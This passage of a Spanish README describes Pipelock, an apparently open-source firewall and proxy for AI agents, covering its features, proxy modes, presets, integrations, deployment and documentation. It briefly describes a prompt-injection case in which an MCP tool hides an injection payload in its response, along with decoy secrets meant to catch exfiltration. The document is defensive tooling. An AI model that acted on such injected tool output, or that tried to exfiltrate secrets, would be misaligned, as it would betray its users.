Contención, sandbox, host contain, interruptor de apagado de 6 fuentes | Sí | Sí | Sí |
Recibos de acción, grabadora de vuelo, anclas, visor de evidencia gratuito, verify-cert, verificador independiente | Sí | Sí | Sí |
Tokens canarios, escaneo de habilidades, explain, Prometheus y Grafana de instancia única | Sí | Sí | Sí |
| Perfiles por agente: identidad, presupuestos, aislamiento de configuración y escáner, sandbox por agente | No | Sí | Sí |
| Enrutamiento por agente según CIDR de origen y selector de red | No | Sí | Sí |
| Panel de operador: Resumen, Evidencia, Exenciones, Agentes, Presupuestos, Confianza y Claves | No | Sí | Sí |
| Certificados de cobertura por agente | No | Sí | Sí |
| Retención legal y metadatos de cumplimiento | No | Sí | Sí |
Plano de control de flota Conductor, fleet-sink sumidero de auditoría, apagado remoto, reversión, reproducción de decisiones, preflight de deriva | No | No | Sí |
| Inscripción de seguidores mTLS y distribución de políticas firmadas verificadas por lista | No | No | Sí |
| Vistas de flota del panel: Flota, Banco de trabajo, Incidente | No | No | Sí |
El informe completo de pipelock assess es un derecho de assess separado, independiente de Pro y Enterprise. La firma no forma parte de ese derecho: el resumen gratuito también está firmado, y la calificación de evaluación gratuita no cambia.
Cómo Funciona
Pipelock utiliza separación de capacidades: en una implementación forzada, el proceso del agente tiene secretos pero no acceso directo a la red. Pipelock tiene acceso a la red pero no secretos del agente. Incluso si el agente recibe una inyección de prompt, no puede alcanzar los controles del firewall.
Tres modos de proxy HTTP (mismo puerto), más un proxy MCP dedicado e inspección A2A en las rutas de reenvío y MCP:
- Proxy de recuperación (
/fetch?url=...): Recupera la URL, extrae texto, escanea en busca de inyección, devuelve contenido limpio. - Proxy de reenvío (
HTTPS_PROXY): Túnel HTTP CONNECT estándar sin cambios en el código de la aplicación. La configuración del proxy sigue siendo necesaria. La interceptación TLS opcional permite el escaneo de cargas útiles. - Proxy WebSocket (
/ws?url=ws://...): Escaneo bidireccional de tramas con detección de DLP + inyección. - Proxy MCP (
pipelock mcp proxy): Envuelve servidores MCP stdio o HTTP con escaneo bidireccional. - Inspección A2A: Inspecciona el tráfico del protocolo Google Agent-to-Agent mientras cruza las rutas de reenvío y MCP.
Diagrama de texto (para terminales)
┌──────────────────────────────────────────────────────────┐
│ PRIVILEGED ZONE │
│ │
│ AI Agent │
│ - API keys, credentials, private code and context │
│ - Network-isolated by deployment │
└────────────────────────────┬─────────────────────────────┘
│ mediated request
│ fetch / CONNECT / WS / MCP / A2A
▼
┌──────────────────────────────────────────────────────────┐
│ FIREWALL ZONE │
│ │
│ Pipelock Agent Firewall │
│ - Destination: URL, SSRF, and DNS checks │
│ - Data: DLP, secret detection, and budgets │
│ - Content: prompt injection and tool poisoning │
│ - Policy: allow, block, or redact │
│ - No agent secrets │
└────────────────────────────┬─────────────────────────────┘
│ approved request
▼
┌──────────────────────────────────────────────────────────┐
│ INTERNET │
│ │
│ Web APIs, websites, MCP servers, tools, and A2A services │
└──────────────────────────────────────────────────────────┘
Internet -- response --> Pipelock -- scanned content --> AI Agent
Configuración
Genera una configuración desde un preset integrado, o deja que pipelock audit la adapte a tu proyecto:
pipelock presets
pipelock generate config --list
pipelock generate config --preset balanced > pipelock.yaml
pipelock audit ./my-project -o pipelock.yaml
| Preset CLI | Modo | Acción | Mejor para |
|---|---|---|---|
balanced | equilibrado | advertir | Uso general (predeterminado) |
strict | estricto | bloquear | Industrias reguladas de alta seguridad |
audit | auditoría | advertir | Evaluación solo de registro |
claude-code | equilibrado | bloquear | Claude Code sin supervisión |
cursor | equilibrado | bloquear | IDE Cursor |
generic-agent | equilibrado | advertir | Nuevos agentes durante el ajuste |
hostile-model | estricto | bloquear | Modelos sin censura/abliterados |
Los cambios de configuración se detectan mediante el observador de archivos o SIGHUP. Referencia completa: docs/configuration.md
Para ajuste de falsos positivos: docs/false-positive-tuning.md
Guías de Integración
- Claude Code: Configuración del proxy MCP, configuración de
.claude.json - OpenAI Codex: Envoltura del proxy MCP, proxy de reenvío, integración de sandbox
- Cline: Envoltura del proxy MCP para el
mcp.jsonde Cline - Continue.dev: Envoltura del proxy MCP para la configuración YAML de Continue
- OpenCode: Envoltura del proxy MCP para los servidores MCP locales y remotos de OpenCode
- Pi: configuración global de
httpProxycon un listener de agente nombrado (ejemplo) - Zed: Envoltura del proxy MCP para el bloque
context_serversde Zed ensettings.json - OpenAI Agents SDK:
MCPServerStdio, traspasos multiagente - Google ADK:
McpToolset,StdioConnectionParams - AutoGen:
StdioServerParams,mcp_server_tools() - CrewAI: envoltura de
MCPServerStdio,MCPServerAdapter - LangGraph:
MultiServerMCPClient,StateGraph - Hermes: cobertura completa de complementos o envoltura MCP más ligera para el agente de Nous Research, con preservación del sidecar de encabezados de autenticación
- Grok Build: proxy de reenvío mediante
HTTPS_PROXY/HTTP_PROXYmás envoltura MCP manual (grok mcp add … -- pipelock mcp proxy); sin instalador automático - JetBrains/Junie: Envoltura del proxy MCP para IntelliJ, PyCharm, GoLand (tutorial)
- Cursor:
pipelock cursor installregistra Pipelock como un hook de Cursor para ejecución de shell, llamadas de herramientas MCP y lecturas de archivos; usa--configpara incrustar una ruta de política validada ypipelock cursor removepara eliminar los hooks gestionados por Pipelock. También puedes usarconfigs/cursor.yamlcon el mismo patrón de proxy MCP que Claude Code (tutorial) - VS Code:
pipelock vscode installreescribe.vscode/mcp.jsonpara enrutar cada servidor MCP a través del proxy MCP;--globalapunta almcp.jsona nivel de usuario - OpenClaw: sidecar de puerta de enlace, contenedor init, envoltura de configuración
- Cualquier otro cliente MCP:
pipelock generate mcporterlee cualquier archivo JSON con un objetomcpServersde nivel superior y envuelve cada servidor a través del proxy de Pipelock, de modo que un cliente que no esté en la lista anterior aún se enrute a través del escaneo con un solo comando.
Implementación
# Docker
docker pull ghcr.io/luckypipewrench/pipelock:3.5.0
docker run -p 8888:8888 -v ./pipelock.yaml:/config/pipelock.yaml:ro \
ghcr.io/luckypipewrench/pipelock:3.5.0 \
run --config /config/pipelock.yaml --listen 0.0.0.0:8888
# Network-isolated agent with Docker Compose
pipelock generate docker-compose --agent claude-code -o docker-compose.yaml
docker compose up
# Kubernetes with Helm (published chart, Helm 3.8+)
helm install pipelock oci://ghcr.io/luckypipewrench/charts/pipelock --version 3.5.0
Recetas de producción para Docker Compose, sidecar de Kubernetes + NetworkPolicy, iptables/nftables y macOS PF: docs/guides/deployment-recipes.md
Integración de CI
# .github/workflows/pipelock.yaml
- uses: luckyPipewrench/pipelock@ca05ed06f360f5aac5518ab6ea2b11d729b70bee # v3.5.0
with:
scan-diff: 'true'
fail-on-findings: 'true'
La acción descarga un binario precompilado, ejecuta pipelock audit, escanea el diff del PR en busca de secretos filtrados y sube el informe de auditoría como artefacto del flujo de trabajo. Consulta examples/ci-workflow.yaml para un flujo de trabajo completo.
Demo Ejecutable: Inyección en Respuesta de Herramienta
El arnés examples/tool-response-injection/ ejecuta una demo de extremo a extremo donde una herramienta MCP con un nombre y descripción inofensivos oculta una carga útil de inyección de prompt en su respuesta. Pipelock bloquea la respuesta antes de que llegue al agente y emite recibos de acción firmados que un tercero puede verificar. La misma demo se ejecuta contra tres transportes con una clave de firma compartida:
- MCP stdio
- Upstream HTTP MCP
- Recuperación HTTP
cd examples/tool-response-injection
python3 demo.py # needs python3 + cryptography + pipelock on PATH
Reglas de la Comunidad
Detección que puedes extender, compartir y enviar más rápido que el binario principal.
La detección integrada de DLP, inyección y envenenamiento de herramientas de Pipelock es sólida desde el primer momento. Los paquetes de reglas de la comunidad te permiten ir más allá: agrega tus propios patrones para las formas de exfiltración, formatos de secretos y trucos de inyección que ve tu stack, fírmalos y envíalos en un ritmo que controlas en lugar de esperar una versión.
Instala el paquete oficial en una línea:
pipelock rules install pipelock-community
Los paquetes de reglas están firmados y bloqueados por versión. El ciclo de vida completo es un comando enviado, no una edición de configuración:
pipelock rules list # what is installed
pipelock rules diff pipelock-community # what a new version would change
pipelock rules update pipelock-community
pipelock rules verify # confirm signatures against the trusted keyring
pipelock rules remove pipelock-community
Escribe las tuyas. Una regla es una entrada YAML pequeña con un nombre, una categoría (DLP, inyección o envenenamiento de herramientas) y un patrón. Fírmala con tu clave, colócala en un paquete, y cada instancia de Pipelock que ejecutes la recogerá. Compártela con la comunidad y protegerá a todos los demás también.
Contribuye una regla al paquete público pipelock-rules, o lee docs/rules.md para construir y firmar las tuyas.
Documentación
Directorio completo de documentación: docs/
| Documento | Qué contiene |
|---|---|
| Referencia de configuración | Todos los campos de configuración, valores predeterminados, comportamiento de recarga en caliente, ajustes preestablecidos |
| Política de solicitudes | Rieles de denegación/advertencia permitidos por defecto en operaciones API salientes (GraphQL / discriminador / lote), cierre ante fallos (v2.6) |
| Redacción de solicitudes | Reescritura de solicitudes JSON en transportes HTTP, WebSocket y MCP |
| Ajuste de falsos positivos | Identificación, supresión y ajuste de hallazgos del escáner |
| API de escaneo | Punto final de evaluación para escaneo programático |
| Recetas de implementación | Docker Compose, sidecar K8s, iptables, macOS PF |
| Actualizaciones de imágenes de Kubernetes | Lanzamientos fijados por digest, comprobaciones de ID de imagen en vivo y reversión |
pipelock doctor | Diagnósticos de implementación configurados frente a aplicables para proxy, TLS, MCP, file_sentry, telemetría y señales de contención |
pipelock dashboard | Configuración del panel del operador: modos de autenticación, permisos RBAC, evidencia, exenciones, presupuestos, confianza y claves, vistas de flota, copia de seguridad/restauración y certificados de cobertura |
pipelock verify-install | Escaneo determinista, prueba local y comprobaciones de humo de salida directa |
pipelock update | Autoactualización verificada: manifiesto de lanzamiento firmado, verificación de suma de comprobación, verificación cruzada opcional con cosign, instalación atómica, reversión |
| Resistencia a la evasión | Técnicas de evasión conocidas, mitigaciones, limitaciones |
| Ataques conocidos bloqueados | Ataques reales con fragmentos de reproducción |
| Integración SIEM | Esquema de registros, salida CEF/syslog, reenvío empresarial duradero, ciclo de vida, métricas, consultas SIEM |
| Referencia de métricas | Familias de métricas de Prometheus, etiquetas, estadísticas JSON y reglas de alerta |
| Reglas de la comunidad | Instalar, configurar y crear paquetes de reglas firmados |
| Garantía de seguridad | Modelo de seguridad, límites de confianza, cadena de suministro |
| Documentos de seguridad | Política de divulgación, rutas no admitidas, rotación de claves, modelos de amenaza de CA TLS y paquetes de auditoría |
| Preparación empresarial | Controles empresariales incluidos, ruta de evaluación, decisiones de implementación y límites explícitos |
| Compilaciones reproducibles | Verificación binaria OSS byte por byte, entradas estables, integración de lanzamientos y alcance |
| Supresión de hallazgos | Nombres de reglas, coincidencia de rutas, comentarios en línea |
| Modos de transporte | Todos los modos de proxy y sus capacidades de escaneo |
| OWASP MCP Top 10 | Cobertura de OWASP MCP Top 10 |
| OWASP Agentic Top 15 | Cobertura de OWASP Agentic AI Top 15 |
| OWASP LLM Top 10 | Cobertura de OWASP Top 10 para aplicaciones LLM (2025) |
| EU AI Act | Mapeo de cumplimiento de la Ley de IA de la UE |
| NIST 800-53 | Mapeo de controles de NIST SP 800-53 Rev. 5 |
| Mapeo de evaluación | Mapea los controles de tiempo de ejecución a los marcos contra los que pipelock assess produce evidencia, para revisión de adquisiciones y auditoría |
| Especificación de política v0.1 | Formato de política de firewall de agente portátil |
| Sobre de mediación | Encabezados de metadatos de banda lateral, configuración, interacción con recibos |
| Política de medios | Eliminación de esteganografía, endurecimiento de SVG, tipos permitidos, límites de tamaño |
| Terminología de evidencia | Referencia rápida para ActionReceipt, EvidenceReceipt, grabadora de vuelo, puntos de control, anclas, certificados de cobertura y paquetes de auditoría, con las distinciones integridad frente a completitud y fijado frente a no fijado |
| Verificación de recibos | pipelock verify-receipt, verificación de informes de recibos de flota, pipelock-verifier independiente, suite de conformidad, integridad de cadena |
| Perfiles de especificación de recibos | Predicado de atestación in-toto para recibos de acción, con perfiles SCITT y AARP complementarios y mapeo de arte previo |
| Modelo de amenaza de paquetes de auditoría | Qué prueban los paquetes de auditoría verificados, qué no prueban y los supuestos de confianza que las partes dependientes deben fijar |
| Cobertura de transporte de recibos | Matriz de emisión de recibos en rutas fetch, forward, CONNECT/TLS, WebSocket, MCP y A2A |
| Aprender y bloquear | Contratos de comportamiento por agente: observar, compilar, sombra, ratificar, promover (v2.4) |
| Federación | Verificación de sobre de mediación entrante, formato de actor SPIFFE, directorio conocido RFC 9421 (v2.4) |
| Encabezado de motivo de bloqueo | Esquema X-Pipelock-Block-Reason, vocabulario de motivos, sugerencias de reintento (v2.4) |
| Punto final de salud | Detección de cuña 503 de /health, latidos de subsistemas, configuración del panel del operador (v2.4) |
| Contención de host | pipelock contain (install, run, verify, doctor, rollback, add-tool, concesiones de espacio de trabajo, ca-refresh, reload-nft-rules y más) para contención de 3 UID (espacio de nombres de red privado como límite principal, coincidencia de propietario nftables como respaldo) con atestación de postura observada por el kernel (v2.5) |
| Manifiestos de integridad MCP | Generar, verificar, firmar y exigir manifiestos de integridad binaria MCP confiables (v2.5) |
| CLI adaptativo | Inspeccionar y vaciar el estado de tiempo de ejecución de aplicación adaptativa a través de la API de administración (v2.5) |
| Conductor | El plano de control de flota empresarial: distribución de políticas, sumidero de auditoría, eliminación remota, reversión, confianza mTLS/SPIFFE, licencias (v2.7, Enterprise) |
| Manual del operador de Conductor | Recorrido práctico de flota local: arranque, servicio, firma de un lote, verificación sin conexión |
| Inicio rápido del operador de Conductor | De cero a una auditoría de flota de solo lectura: licencia, certificado mTLS del operador, token de auditor, comandos de solo lectura |
| Implementación empresarial de Kubernetes | Flota de Conductor basada en Helm: plano de control, seguidores, sumidero de flota, secretos PKI, políticas de red |
pipelock license | Instalar, inspeccionar y verificar la licencia que desbloquea funciones de pago (Pro agents, Enterprise fleet) |
pipelock baseline | Inspeccionar, ratificar y reaprender perfiles de línea base de comportamiento a través de la API de administración autenticada |
| Cápsula de postura | Instantáneas de postura firmadas, CLI posture verify, puerta de CI, modelo de puntuación |
pipelock init sidecar | Generar manifiestos de proxy complementario de Kubernetes aplicados y contratos de lanzador MCP (fusión estratégica, Kustomize, valores de Helm) |
pipelock session | CLI del operador para inspección y recuperación de esclusa de aire (listar, inspeccionar, explicar, liberar, terminar, recuperar) |
pipelock keys status | Inventario unificado de claves de firma: fuente por propósito, presencia, legibilidad, validez y huella digital de clave pública |
| Grabadora de vuelo | Registro de evidencia firmado encadenado por hash: comportamiento activado por defecto, sello de raíz de transcripción, redacción, custodia, rotación de claves |
| Intercepción TLS | MITM de túnel CONNECT: configuración de CA, escaneo de cuerpo/encabezado/respuesta, dominios de paso directo |
| Tokens señuelo | Secretos sintéticos que activan una alerta en el momento en que un agente intenta exfiltrar uno |
| Integración de detección | Alimentar decisiones y evidencia de Pipelock en canalizaciones externas de detección / SIEM |
| Revisión de PR | Revisión de seguridad de IA activada manualmente para solicitudes de extracción (comentario /review) |
| Front de Inspector MCP | Herramientas de desarrollo MCP frontales (Inspector, servidores de prueba) a través del escaneo de Pipelock |
pipelock demo | Escenarios de ataque autocontenidos con recibos firmados y verificables sin conexión, sin necesidad de configuración ni red |
| Insignias | Markdown listo para usar para la insignia scanned by pipelock en proyectos posteriores |
Estructura del proyecto
cmd/pipelock/ CLI entry point
internal/
cli/ 60+ Cobra commands (run, check, init, generate, mcp, session, posture, rules, ...)
diag/ `pipelock doctor` and install-verification diagnostics
session/ `pipelock session`, `pipelock adaptive`, and `pipelock baseline` operator CLIs
setup/ `pipelock init sidecar`: companion-proxy manifest generation (K8s)
config/ YAML config, validation, defaults, hot-reload (fsnotify)
scanner/ Ordered URL scanning pipeline + response injection detection
audit/ Structured JSON logging (zerolog) + event emission dispatch
proxy/ HTTP proxy: fetch, forward (CONNECT), WebSocket, DNS pinning, TLS
mcp/ MCP proxy + bidirectional scanning + tool poisoning + chains
integrity/ MCP binary/script integrity manifests and trust workflow
discover/ IDE/agent config discovery (Claude Code, Cursor, VS Code, JetBrains)
killswitch/ Emergency deny-all (6 sources) + port-isolated API
envelope/ Mediation envelope (RFC 8941) for sideband metadata
media/ Image metadata stripping (JPEG/PNG byte-level surgery)
normalize/ Text-normalization transforms (NFKC, invisible chars, leetspeak, whitespace, vowel-fold) for the scanner cascade
receipt/ Action receipt signing + hash-chained evidence
posture/ Posture capsule schema, signing, scoring, verify policy
session/ Session state, taint classification, task boundaries, trust overrides
rules/ Bundle loader, tier taxonomy, RequiredFeatures enforcement
sandbox/ Landlock, seccomp, netns, macOS sandbox-exec
shield/ Airlock, browser shield, SVG hardening
signing/ Ed25519 key management
integrity/ SHA256 file integrity monitoring
report/ HTML/JSON audit report generation
enterprise/ Multi-agent features (ELv2)
sdk/conformance/ Cross-implementation receipt verification test vectors
charts/ Helm chart for Kubernetes deployment
configs/ 7 built-in preset config files
docs/ Guides, references, compliance mappings
Pruebas
Pipelock se prueba como un producto de seguridad. El núcleo de código abierto tiene pruebas unitarias, de integración y de extremo a extremo. Una suite adversarial privada separada ejercita clases de ataque contra el binario de producción. Cada evasión se convierte en una prueba de regresión antes del lanzamiento.
| Métrica | Valor |
|---|---|
Pruebas de Go (con -race) | Rutas unitarias, de integración y de extremo a extremo |
| Umbral de cobertura (codecov) | 91% proyecto central Apache-2.0, 95% parche en código nuevo |
| Cobertura de evasión | Matriz pública de resistencia a evasión + corpus adversarial privado |
| Sobrecarga de ruta crítica del escáner | ~40us por escaneo de URL (punto de referencia de ruta crítica; ver docs/performance.md) |
| Matriz de CI | Go 1.26 + 1.27, CodeQL, golangci-lint |
| Cadena de suministro | Procedencia SLSA, SBOM CycloneDX, firmas cosign |
Ejecute make test para verificar localmente. Evidencia de punto de referencia de primera parte: el corpus público agent-egress-bench. Ver los resultados en vivo.
Créditos
- Arquitectura influenciada por el sandboxing de Claude Code de Anthropic y sandbox-runtime
- Modelo de amenaza informado por OWASP Agentic AI Top 10
- Ver docs/comparison.md para saber cómo se relaciona Pipelock con otras herramientas en este espacio
- Contribuciones de revisión de seguridad de Dylan Corrales
Las contribuciones son bienvenidas. Ver CONTRIBUTING.md para las pautas.
Si Pipelock es útil, por favor marque este repositorio con una estrella. Ayuda a otros a encontrar el proyecto.
Licencia
El núcleo de Pipelock está licenciado bajo la Licencia Apache 2.0. Copyright 2026 Joshua Waldrep.
Las funciones multiagente (identidad por agente, presupuestos y aislamiento de configuración)
están en el directorio enterprise/, controladas por la etiqueta de compilación enterprise y licenciadas
bajo la Licencia Elastic 2.0 (ELv2). Estas funciones se activan con una clave de licencia válida.
El núcleo de código abierto funciona de forma independiente sin funciones de pago. Todo el escaneo, la detección y la protección de agente único son gratuitos.
Los artefactos de lanzamiento precompilados (Homebrew, lanzamientos de GitHub, imágenes de Docker) incluyen código
de nivel de pago que se activa con una clave de licencia válida. Compilar desde el código fuente con make build, make install o el
Dockerfile del repositorio produce un binario solo para la comunidad.
Ver LICENSE para el texto de Apache 2.0 y enterprise/LICENSE para el texto de ELv2.